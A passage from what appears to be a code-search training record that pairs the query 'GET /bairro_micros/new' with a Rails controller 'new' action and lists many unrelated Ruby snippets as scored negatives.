"def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end",
"def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end",
"def s3\n return self[:s3]\n end"
] |
[
"0.73735726",
"0.7334049",
"0.7272964",
"0.7135666",
"0.7088733",
"0.6987826",
"0.6987562",
"0.6833704",
"0.67554426",
"0.66738737",
"0.6665293",
"0.6617219",
"0.6606177",
"0.65811896",
"0.6526394",
"0.6510484",
"0.6467586",
"0.64460814",
"0.64312077",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.641661",
"0.64153266",
"0.64153266",
"0.64153266",
"0.64153266",
"0.64153266",
"0.64153266",
"0.64153266",
"0.6409946",
"0.64085466",
"0.63890636",
"0.6376439",
"0.6376439",
"0.6376439",
"0.6376439",
"0.6376439",
"0.6376439",
"0.6376439",
"0.6376371",
"0.6376371",
"0.6376371",
"0.6376371",
"0.6376371",
"0.6376371"
] |
0.0
|
-1
|
GET /bairro_micros/1 GET /bairro_micros/1.xml
|
def show
@bairro_micro = BairroMicro.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @bairro_micro }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def index\n @boms = Bom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @boms }\n end\n end",
"def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end",
"def new\n @bairro_micro = BairroMicro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bairro_micro }\n end\n end",
"def index\n @mobs_nanos = MobsNano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @mobs_nanos.to_xml }\n end\n end",
"def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end",
"def _api_call(method, args)\r\n uri = _uri(method, args)\r\n response = XmlSimple.xml_in(_http_get(uri))\r\n end",
"def show\n @bairro = Bairro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bairro }\n end\n end",
"def fetch_bart_stations\n bart_url = 'http://bart.gov/dev/eta/bart_eta.xml'\n\n xml_data = Net::HTTP.get_response(URI.parse(bart_url)).body\n xml_doc = REXML::Document.new(xml_data)\n\n stations = xml_doc.records('station')\n stations.each_with_index do |station, index|\n etas = xml_doc.records(\"//station[#{index + 1}]/eta\")\n stations[index].merge!({ \"eta\" => etas })\n end\n \n return stations\nend",
"def request(path, parameters = {})\n response = Basecamp.connection.post(path, convert_body(parameters), \"Content-Type\" => content_type)\n\n if response.code.to_i / 100 == 2\n result = XmlSimple.xml_in(response.body, 'keeproot' => true, 'contentkey' => '__content__', 'forcecontent' => true)\n typecast_value(result)\n else\n raise \"#{response.message} (#{response.code})\"\n end\n end",
"def show\n @micromessage = Micromessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @micromessage }\n end\n end",
"def fetch_bart_stations\n bart_url = 'http://bart.gov/dev/eta/bart_eta.xml'\n\n xml_data = Net::HTTP.get_response(URI.parse(bart_url)).body\n xml_doc = REXML::Document.new(xml_data)\n\n stations = xml_doc.records('station')\n stations.each_with_index do |station, index|\n etas = xml_doc.records(\"//station[#{index}]/eta\")\n stations[index].merge!({ \"eta\" => etas })\n end\n \n return stations\nend",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend",
"def show\n @microarray = Microarray.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microarray }\n end\n end",
"def index\n ts_bis = DateTime.parse(params[:ts_bis])\n if params.has_key?(:ts_von)\n ts_von = DateTime.parse(params[:ts_von])\n @benutzers = Benutzer.where(\"updated_at > ? and updated_at <= ?\", ts_von, ts_bis)\n else\n @benutzers = Benutzer.where(\"updated_at <= ?\", ts_bis)\n end\n proc = Proc.new{|options, record| options[:builder].tag!('ts', record.updated_at.iso8601(9)) }\n respond_to do |format|\n format.html # index.html.erb\n format.xml {render :xml => @benutzers, :except => [:updated_at, :created_at], :dasherize => false, root: \"benutzers\", :procs => [proc], :include => [:objekt_zuordnungs]}\n end\n end",
"def stod2bio\n Apis.client.get('/tv/stod2bio')\n end",
"def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"def getblockchaininfo\n @api.request 'getblockchaininfo'\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @chronopay_links }\n end\n end",
"def show\n @mobs_nano = MobsNano.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @mobs_nano.to_xml }\n end\n end",
"def index\n @torrents = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").load\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @torrents }\n end\n end",
"def download\n # headers for streaming suggested by:\n # https://coderwall.com/p/kad56a/streaming-large-data-responses-with-rails\n # and\n # https://github.com/felixbuenemann/xlsxtream/issues/14\n response.headers.delete(\"Content-Length\") # See one line above\n response.headers['X-Accel-Buffering'] = 'no' # Stop NGINX from buffering\n response.headers['Cache-Control'] = 'no-cache'\n \n # Headers for browser-handling\n response.headers['Content-Type'] = 'application/marcxml+xml'\n response.headers['Content-Disposition'] = \"attachment; filename=#{download_filename('xml')}\" \n \n # Setup Blacklight / Solr params\n params['page'] = 1\n params['rows'] = 100\n # params['fl'] = 'id,marc_display'\n params['source'] = active_source\n\n extra_params = {\n 'fl' => 'id,marc_display',\n 'sort' => 'id asc',\n 'stats' => false,\n 'facet' => false,\n }\n \n # Stream response\n stream = response.stream\n\n begin\n # XML Header - MARC XML collection open tag\n stream.write marcxml_header\n\n total = 0\n hits = params['rows']\n while hits >= params['rows'] && total < 10_000\n # # CLIO-level query\n # # search_engine = blacklight_search(params.to_unsafe_h)\n # # hits = search_engine.documents.count\n # # search_engine = blacklight_search(params.to_unsafe_h)\n # # hits = search_engine.documents.count\n # # total += hits\n # \n # # Blacklight-level query\n # # - doesn't include marc_display\n # # - doesn't allow over-riding 'fl' param\n # # search, documents = search_results(params)\n # # hits = documents.count\n # \n # # unapproved lower-level querying..\n # # builder = search_builder.with(params)\n # # builder.page = 1\n # # builder.rows = 1000\n # # response = repository.search(builder)\n \n # Need to use lower-level \"search_builder\", so that we \n # can override 'fl' param, to include marc_display\n query = search_builder.with(params).merge(extra_params)\n solr_response = repository.search(query)\n \n hits = solr_response.documents.count\n total += hits\n\n solr_response.documents.each do |solr_doc|\n # stream.write solr_doc['marc_display']\n # pretty-print - does this make reporting too slow?\n stream.write solr_doc['marc_display'].\n gsub(/<leader/, \"\\n <leader\").\n gsub(/<controlfield/, \"\\n <controlfield\").\n gsub(/<datafield/, \"\\n <datafield\").\n gsub(/<\\/datafield/, \"\\n </datafield\").\n gsub(/<subfield/, \"\\n <subfield\").\n gsub(/<\\/record/, \"\\n</record\")\n stream.write \"\\n\"\n end\n\n # increment page\n # extra_params['page'] = (extra_params['page'].to_i + 1).to_s\n params['page'] = (params['page'].to_i + 1).to_s\n end\n\n # close collection tag\n stream.write marcxml_footer\n\n ensure\n stream.close\n end\n \n end",
"def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend",
"def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end",
"def show\n @bitacora = Bitacora.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bitacora }\n end\n end",
"def list_books(api_object)\n puts \"Current Books:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('books/book/title').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend",
"def show\n @lb202556 = Lb202556.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end",
"def show\n @bap = Bap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bap }\n end\n end",
"def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end",
"def show\n @bio = Bio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bio }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def sru_response\n # Create bib record.\n title_str = OLE_QA::Framework::String_Factory.alphanumeric(12)\n author_str = OLE_QA::Framework::String_Factory.alphanumeric(14)\n today = Time.now.strftime('%Y%m%d-%H%M')\n bib_ary = [{\n :tag => '245',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + title_str\n },\n {\n :tag => '100',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + author_str\n }]\n bib_editor = OLE_QA::Framework::OLELS::Bib_Editor.new(@ole)\n bib_editor.open\n create_bib(bib_editor,bib_ary)\n query = \"title any #{title_str}\"\n filename = \"sru_perf-#{today}.xml\"\n get_sru_file(query,filename,@ole)\n records = get_marc_xml(filename)\n verify(5) {File.zero?(\"data/downloads/#{filename}\") == false}\n verify(5) {records.count == 1}\n end",
"def show\n @bixo = Bixo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bixo }\n end\n end",
"def show\n @timeband = Timeband.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timeband }\n end\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def show\n @rx_memory = RxMemory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rx_memory }\n end\n end",
"def to_xml\n http.body\n end",
"def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end",
"def show\n @rate_change_history = RateChangeHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rate_change_history }\n end\n end",
"def index\n @usrs = Usr.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @usrs }\n end\n end",
"def make_get_xml(who, api_key)\n return lambda {|method, extra|\n begin\n io = open(\"http://ws.audioscrobbler.com/2.0/?method=#{method}&user=#{who}&api_key=#{api_key}&#{extra}\")\n if io.status[0].to_i != 200 then\n puts \"? \" + io.status[0]\n end\n return Nokogiri::XML(io.read)\n rescue OpenURI::HTTPError => e\n nd = Nokogiri::XML(e.io.read)\n puts \"! \" + nd.at('//lfm/error').inner_text\n exit\n end\n\n return nd\n }\nend",
"def get_forecast_data\n result = RestClient.get(request_url)\n @xml = REXML::Document.new(result)\n end",
"def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #TODO wonder if I should make a generic library for external url requests, to standardize the header/etc?\n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n retries = 2\n begin\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH + url, 'User-Agent' => 'WikipediaAntiSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n #retry if resp.body.to_s.empty?\n resp.body\n rescue Net::HTTPBadResponse, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ECONNREFUSED, SocketError, \n Timeout::Error, Errno::EINVAL, EOFError, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n if retries > 0\n retries -= 1\n retry\n else\n raise Exception.new(\"Connection timed out after more than 3 retries: #{e}\")\n end\n end\nend",
"def show\n @bios = Bio.find(:all, :order => :position)\n @bio = Bio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bio }\n end\n end",
"def index\n @bios = Bio.find(:all, :order => :position)\n @bio = @bios.first\n\n respond_to do |format|\n format.html { render :template => 'bios/show' }\n format.xml { render :xml => @bios }\n end\n end",
"def index\n @arduinos = Arduino.find_all_by_user_id(current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @arduinos }\n end\n end",
"def call_rest_getlbvstats\n print \"get lb vserver stats\\n\"\n @uri.path = \"/nitro/v1/config/lbvserver/\"\n @request = Net::HTTP::Get.new(@uri)\n @request.basic_auth \"#{@username}\", \"#{@password}\"\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.lbvserver+json')\n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n\n if response.code == \"200\"\n result = JSON.parse(response.body)\n File.open(\"lbvserver-stats.json\", \"w\") do |file|\n file.write(JSON.pretty_generate(result))\n end\n end\n }\n\n end",
"def get(path, busca=nil)\n @client.get(path, busca)\n end",
"def path\n \"/onca/xml\"\n end",
"def get_xml_from_api(uri, query)\n resp = HTTParty.get(uri, query: query, headers: request_headers)\n # If we received anything but a 200 then log an error and return an empty array\n raise \"Unable to connect to connect to - #{@pubmed_api}?#{query}: status: #{resp.code}\" if resp.code != 200\n # Return an empty array if the response did not have any results\n return nil if resp.code != 200 || resp.blank?\n\n resp.body\n end",
"def show\n # @bill_quorum = BillQuorum.find(params[:id])\n # @bill_quorum = BillQuorum.find_by(uid: params[:id])\n # get_bill_quorum params[:id]\n\n puts 'bill_quorum'\n puts @bill_quorum\n puts '/bill_quorum'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill_quorum }\n format.xml { render xml: @bill_quorum }\n end\n end",
"def show\n @news_blast = NewsBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_blast }\n end\n end",
"def show\n @bonificacion = Bonificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bonificacion }\n end\n end",
"def show\n @microsilica = Microsilica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microsilica }\n end\n end",
"def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @band }\n end\n end",
"def request(uris_data)\r\n\r\n #Setup output array\r\n xmlNodes = Array.new\r\n responses = request_raw(uris_data)\r\n \r\n responses.each do |response|\r\n if (response.code == \"200\")\r\n response.body.empty? ? (xmlNodes << XmlNode.new(\"Empty\")) : xmlNodes << XmlNode.parse(response.body)\r\n else\r\n xmlnode = XmlNode.new(\"error\")\r\n xmlnode.put_node('code', response.code) #put status code as xmlnode\r\n xmlnode.put_node('msg', response.body)\r\n xmlNodes << xmlnode\r\n end\r\n end\r\n return xmlNodes\r\n end",
"def index\n @snapshots = current_account.snapshots.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @snapshots }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @snapshot }\n end\n end",
"def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end",
"def show\n @bus_stop = BusStop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bus_stop }\n end\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def show\n @bout = Bout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bout }\n end\n end",
"def show\n @torrent = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").find(Integer(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torrent }\n end\n end",
"def show\n @bom = Bom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bom }\n end\n end",
"def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end",
"def show\n @barrio = Barrio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @barrio }\n end\n end",
"def getgenerate\n @api.request 'getgenerate'\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def atom\n sup_id = Configuration.for('app').sup_id\n response['Content-Type'] = 'application/atom+xml'\n response['Cache-Control'] = 'max-age=900, public'\n response['Expires'] = (Time.now + 900).utc.rfc2822\n response['X-SUP-ID'] = \"http://friendfeed.com/api/public-sup.json##{sup_id}\"\n respond Tamanegi::to_atom.to_xml\n end",
"def show\n @transmission = Transmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transmission }\n end\n end",
"def show\n @algorithm_binary = AlgorithmBinary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @algorithm_binary }\n end\n end",
"def show\n @http_receive = HttpReceive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @http_receive }\n end\n end",
"def index\n @borrows = Borrow.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @borrows }\n end\n end",
"def getJobApi (options)\n uri = options[:job] + \"?depth=\" + options[:depth].to_s\n job_uri = URI.parse(uri)\n http = Net::HTTP.new(job_uri.host, job_uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(job_uri.request_uri)\n request.basic_auth @username, @password\n response = http.request(request)\n job_xml=XmlSimple.xml_in(response.body)\n return job_xml\n end",
"def create\n @bairro_micro = BairroMicro.new(params[:bairro_micro])\n\n respond_to do |format|\n if @bairro_micro.save\n flash[:notice] = 'BairroMicro was successfully created.'\n format.html { redirect_to(@bairro_micro) }\n format.xml { render :xml => @bairro_micro, :status => :created, :location => @bairro_micro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @invitado = Invitado.find(params[:id])\n @bitacora = Bitacora.find(:all, :conditions => [\"invitado_id = ?\", @invitado.id], :order => \"updated_at\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitado }\n end\n end",
"def index\n @xml_samples = XmlSample.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @xml_samples }\n format.xml { render xml: @xml_samples }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def index\n @countdowns = Countdown.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @countdowns }\n end\n end",
"def fetch_xml(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http.read_timeout = GoogleCustomSearch.configuration.timeout\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.initialize_http_header({ 'User-Agent' => user_agent })\n\n response = http.request(request)\n\n raise GoogleCustomSearch::InvalidRequest if response.code.match(/[34]\\d{2}/)\n raise GoogleCustomSearch::ServerError if response.code.match(/5\\d{2}/)\n\n response.body\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def index\n @microarrays = Microarray.find(:all, :include => [:organism, :platform, :application])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @microarrays }\n end\n end",
"def index\n @news_blasts = NewsBlast.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news_blasts }\n end\n end",
"def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end",
"def show\n respond_to do |format|\n format.xml { render :xml => @genbank_file }\n format.json { render :json => @genbank_file }\n end\n end",
"def index\n @brothers = Brother.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @brothers }\n end\n end",
"def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end",
"def show\n @bio_signal = BioSignal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bio_signal }\n end\n end",
"def index\n @scans = Scan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scans }\n end\n end",
"def get(path)\n # TODO: do more hardening on the path\n if path.include?('covid19')\n request = Net::HTTP::Get.new(path, @headers)\n else\n request = Net::HTTP::Get.new('/v2' + path, @headers)\n end\n send_request(request)\n end",
"def http_get_early(request, response)\n params = request.query_parameters\n return http_get(request, response) if params['sabreAction'] == 'info'\n end",
"def show\n @mri_scan = MriScan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mri_scan }\n end\n end",
"def to_xml\n self.xml ||= fetch({\"service\"=>self.service_type,\"metric\"=>self.metric,\"start\"=>self.sdate.to_s,\"end\"=>self.edate.to_s,\"artistID\"=>self.artist_id,\"apiKey\"=>$nbs_api_key,\"format\"=>\"xml\"})\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def getaccount(bitcoinaddress)\n @api.request 'getaccount', bitcoinaddress\n end",
"def do_GET(request, response)\n status = 200\n content_type = \"text/html\"\n body = \"bender version #{BENDER_VERSION}\"\n body += \"\\n\"\n\n response.status = status\n response['Content-Type'] = content_type\n response.body = body\n response.body = body\n end",
"def index\n# @pay_rate_changes = PayRateChange.all\n @pay_rate_changes = @worker.pay_rate_changes\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pay_rate_changes }\n end\n end"
] |
[
"0.58073443",
"0.55912304",
"0.5522448",
"0.5486908",
"0.5483598",
"0.5438869",
"0.54351896",
"0.54262406",
"0.54131114",
"0.52845937",
"0.5250047",
"0.5249597",
"0.5241533",
"0.5202264",
"0.51990217",
"0.51861954",
"0.51850027",
"0.5170066",
"0.51646066",
"0.5152907",
"0.5136235",
"0.5134677",
"0.51315796",
"0.51112235",
"0.51054806",
"0.5101918",
"0.50925374",
"0.5084329",
"0.5079253",
"0.5079105",
"0.5072465",
"0.5070098",
"0.50637084",
"0.5058643",
"0.50546527",
"0.50530434",
"0.50362605",
"0.50264037",
"0.50261813",
"0.50238466",
"0.50221837",
"0.5007238",
"0.50051403",
"0.49912068",
"0.49895912",
"0.49878237",
"0.49871758",
"0.49781913",
"0.49720937",
"0.49711263",
"0.4970705",
"0.4968731",
"0.49654615",
"0.49619073",
"0.49605316",
"0.4958403",
"0.49564677",
"0.49541727",
"0.4952386",
"0.49473262",
"0.49332634",
"0.4932318",
"0.49261335",
"0.49228826",
"0.49211386",
"0.49177167",
"0.49161753",
"0.491326",
"0.49105525",
"0.4909667",
"0.49031845",
"0.49009106",
"0.48981214",
"0.4897519",
"0.4896998",
"0.48957244",
"0.4886403",
"0.48853642",
"0.48789468",
"0.48766106",
"0.4875836",
"0.4874441",
"0.4874253",
"0.48635167",
"0.48627403",
"0.48597878",
"0.48577827",
"0.48456156",
"0.48453134",
"0.48402992",
"0.48402616",
"0.4838217",
"0.48347571",
"0.48343468",
"0.48341596",
"0.48329782",
"0.48302943",
"0.48295859",
"0.4812989",
"0.4812101"
] |
0.6093064
|
0
|
GET /bairro_micros/new GET /bairro_micros/new.xml
|
def new
@bairro_micro = BairroMicro.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @bairro_micro }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @bairro_micro = BairroMicro.new(params[:bairro_micro])\n\n respond_to do |format|\n if @bairro_micro.save\n flash[:notice] = 'BairroMicro was successfully created.'\n format.html { redirect_to(@bairro_micro) }\n format.xml { render :xml => @bairro_micro, :status => :created, :location => @bairro_micro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @bairro = Bairro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bairro }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @lb202556 = Lb202556.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end",
"def new\n @bap = Bap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bap }\n end\n end",
"def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end",
